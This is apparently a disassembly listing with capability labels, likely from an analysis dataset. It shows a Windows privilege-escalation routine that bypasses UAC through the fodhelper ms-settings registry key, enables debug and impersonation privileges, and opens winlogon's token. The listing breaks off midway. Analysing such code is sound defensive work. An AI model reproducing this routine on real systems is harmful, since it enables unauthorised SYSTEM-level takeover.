Function at 0x140011866
Capabilities:
Acquire debug privileges
Check if file exists
Create process on windows
Delete registry key
Enumerate processes
Get token membership
Impersonate user
Persist via default file association registry key
Self delete
Set registry value

Disassembly:
jmp 0x14001bce0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0xe00
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x278
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xe28]
mov rax, qword [0x14003e080]
xor rax, rbp
mov qword [rbp + 0xd90], rax
mov byte [rbp + 0xd54], 0
lea rcx, [0x140047106]
call fcn.140011c67
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov byte [rbp + 0x44], 0
mov byte [rbp + 0x45], 0
mov byte [rbp + 0x46], 0
mov byte [rbp + 0x47], 0
mov byte [rbp + 0x48], 0
mov byte [rbp + 0x49], 5
lea rax, [rbp + 0x28]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0x44]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14001bdd5
lea r8, [rbp + 4]
mov rdx, qword [rbp + 0x28]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14001bdcb
mov dword [rbp + 4], 0
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 4], 0
jne 0x14001c121
lea r8, [rbp + 0x68]
lea rdx, str.SoftwareClassesms_settings_shellopencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14001be33
lea rdx, str.Failed_to_open_registry_key
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14001d127
lea rdx, [0x140035094]
lea rcx, [rbp + 0x88]
call fcn.140011569
nop
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0xdc8]
mov rdx, qword [rcx + rax]
lea rcx, [rbp + 0x88]
call fcn.1400114e7
lea rdx, str.__fh
lea rcx, [rbp + 0x88]
call fcn.1400114e7
lea rdx, str.relaunch:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
lea rdx, [rbp + 0x88]
mov rcx, rax
call fcn.140011b04
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x88]
call fcn.1400118e3
mov dword [rbp + 0xd64], eax
lea rcx, [rbp + 0x88]
call fcn.140011127
mov qword [rbp + 0xd68], rax
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xd70], rax
mov eax, dword [rbp + 0xd64]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0xd68]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0xd70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14001bf68
lea rdx, str.Failed_to_set_registry_value
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x964], 1
lea rcx, [rbp + 0x88]
call fcn.14001123a
mov eax, dword [rbp + 0x964]
jmp 0x14001d127
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 1
xor r8d, r8d
lea rdx, str.DelegateExecute
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14001bfe6
lea rdx, str.Failed_to_set_registry_value_delegateexecute
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x984], 1
lea rcx, [rbp + 0x88]
call fcn.14001123a
mov eax, dword [rbp + 0x984]
jmp 0x14001d127
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.fodhelper.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.clean_up_reg
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.SoftwareClassesms_settings
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeA]
test eax, eax
je 0x14001c0d2
lea rdx, str.Failed_to_delete_registry_key
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14001c0c5
mov dword [rbp + 0x9a4], 1
lea rcx, [rbp + 0x88]
call fcn.14001123a
mov eax, dword [rbp + 0x9a4]
jmp 0x14001d127
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001c053
lea rdx, str.done
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x9c4], 0
lea rcx, [rbp + 0x88]
call fcn.14001123a
mov eax, dword [rbp + 0x9c4]
jmp 0x14001d127
mov edx, 0x70
lea rcx, [rbp + 0xd0]
call fcn.140011389
lea rax, [rbp + 0x9e8]
mov qword [rbp + 0xa28], rax
lea rdx, str.TrustedInstaller
mov rcx, qword [rbp + 0xa28]
call fcn.140011569
mov qword [rbp + 0xd68], rax
mov rdx, qword [rbp + 0xd68]
lea rcx, [rbp + 0xd0]
call fcn.140011339
nop
lea rcx, [rbp + 0xd0]
call fcn.14001119a
cmp eax, 1
jne 0x14001c27d
lea rdx, str.Service_is_stopped._Starting...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0xa48]
mov qword [rbp + 0xa78], rax
movzx edx, byte [0x140034fd3]
mov rcx, qword [rbp + 0xa78]
call fcn.140011b7c
lea rcx, [rbp + 0xd20]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0xd20]
lea rcx, [rbp + 0xd0]
call fcn.1400112cb
movzx eax, al
test eax, eax
jne 0x14001c24f
lea rdx, str.Failed_to_start_service
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xa94], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xa94]
jmp 0x14001d127
lea rdx, str.Started_service
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0xd0]
call fcn.14001149c
mov dword [rbp + 0x154], eax
lea rdx, str.Service_name:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [rbp + 0xab8]
lea rcx, [rbp + 0xd0]
call fcn.140011488
mov qword [rbp + 0xd70], rax
mov rax, qword [rbp + 0xd70]
mov qword [rbp + 0xd78], rax
mov rax, qword [rbp + 0xd78]
mov qword [rbp + 0xd80], rax
mov rdx, qword [rbp + 0xd80]
mov rcx, qword [rbp + 0xd68]
call fcn.140011b04
mov qword [rbp + 0xd88], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd88]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xab8]
call fcn.14001123a
lea rdx, str.Service_PID:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
mov edx, dword [rbp + 0x154]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd70], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd70]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x178]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14001c3f6
lea rdx, str.Failed_to_open_process_token:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xaf4], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xaf4]
jmp 0x14001d127
lea r8, [rbp + 0x198]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x14001c485
lea rdx, str.Failed_to_lookup_privilege_value:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xb14], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xb14]
jmp 0x14001d127
lea r8, [rbp + 0x1b8]
lea rdx, str.SeImpersonatePrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x14001c514
lea rdx, str.Failed_to_lookup_privilege_value:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xb34], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xb34]
jmp 0x14001d127
lea rax, [rbp + 0x1d8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov dword [rbp + 0x1d8], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rbp + 0x198]
mov qword [rbp + rax + 0x1dc], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0x1e4], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0x1d8]
xor edx, edx
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14001c604
lea rdx, str.Failed_to_adjust_token_privileges:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xb54], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xb54]
jmp 0x14001d127
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x14001c660
lea rdx, str.The_process_does_not_have_the_SeDebugPrivilege_privilege.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xb74], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xb74]
jmp 0x14001d127
lea rax, [rbp + 0x208]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov dword [rbp + 0x208], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rbp + 0x1b8]
mov qword [rbp + rax + 0x20c], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0x214], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0x208]
xor edx, edx
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14001c750
lea rdx, str.Failed_to_adjust_token_privileges:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xb94], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xb94]
jmp 0x14001d127
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x14001c7ac
lea rdx, str.The_process_does_not_have_the_SeImpersonatePrivilege_privilege.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xbb4], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xbb4]
jmp 0x14001d127
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Enabled_SeDebugPrivilege_and_SeImpersonatePrivilege
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov ecx, 2
call fcn.1400115be
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0xffffffffffffffff
jne 0x14001c879
lea rdx, str.Failed_to_create_snapshot:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xbd4], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xbd4]
jmp 0x14001d127
lea rax, [rbp + 0x280]
mov rdi, rax
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
mov dword [rbp + 0x280], 0x130
lea rdx, [rbp + 0x280]
mov rcx, qword [rbp + 0x258]
call fcn.140011a37
test eax, eax
jne 0x14001c922
lea rdx, str.Failed_to_get_first_process:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xbf4], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xbf4]
jmp 0x14001d127
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0x2ac]
call fcn.140011db1
test eax, eax
jne 0x14001c94e
mov byte [rbp + 0xd54], 1
mov eax, dword [rbp + 0x288]
mov dword [rbp + 0x234], eax
jmp 0x14001c965
lea rdx, [rbp + 0x280]
mov rcx, qword [rbp + 0x258]
call fcn.140011c7b
test eax, eax
jne 0x14001c922
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Found_winlogon_PID:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
cmp byte [rbp + 0xd54], 0
jne 0x14001c9a1
lea rcx, str.logon_pid
call fcn.140011208
mov edx, dword [rbp + 0x234]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd70], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd70]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp byte [rbp + 0xd54], 0
jne 0x14001c9e4
lea rcx, str.logon_pid
call fcn.140011208
mov r8d, dword [rbp + 0x234]
xor edx, edx
mov ecx, 0x440
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x3c8], rax
cmp qword [rbp + 0x3c8], 0
jne 0x14001ca7e
lea rdx, str.Failed_to_open_process:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011177
mov qword [rbp + 0xd68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd70], eax
mov edx, dword [rbp + 0xd70]
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd78], rax
lea rdx, [0x140011082]
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xc14], 1
lea rcx, [rbp + 0xd0]
call fcn.1400113f7
mov eax, dword [rbp + 0xc14]
jmp 0x14001d127
lea r8, [rbp + 0x3e8]
mov edx, 0x2000000
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14001cb10
lea rdx, str.Failed_to_open_process_token:
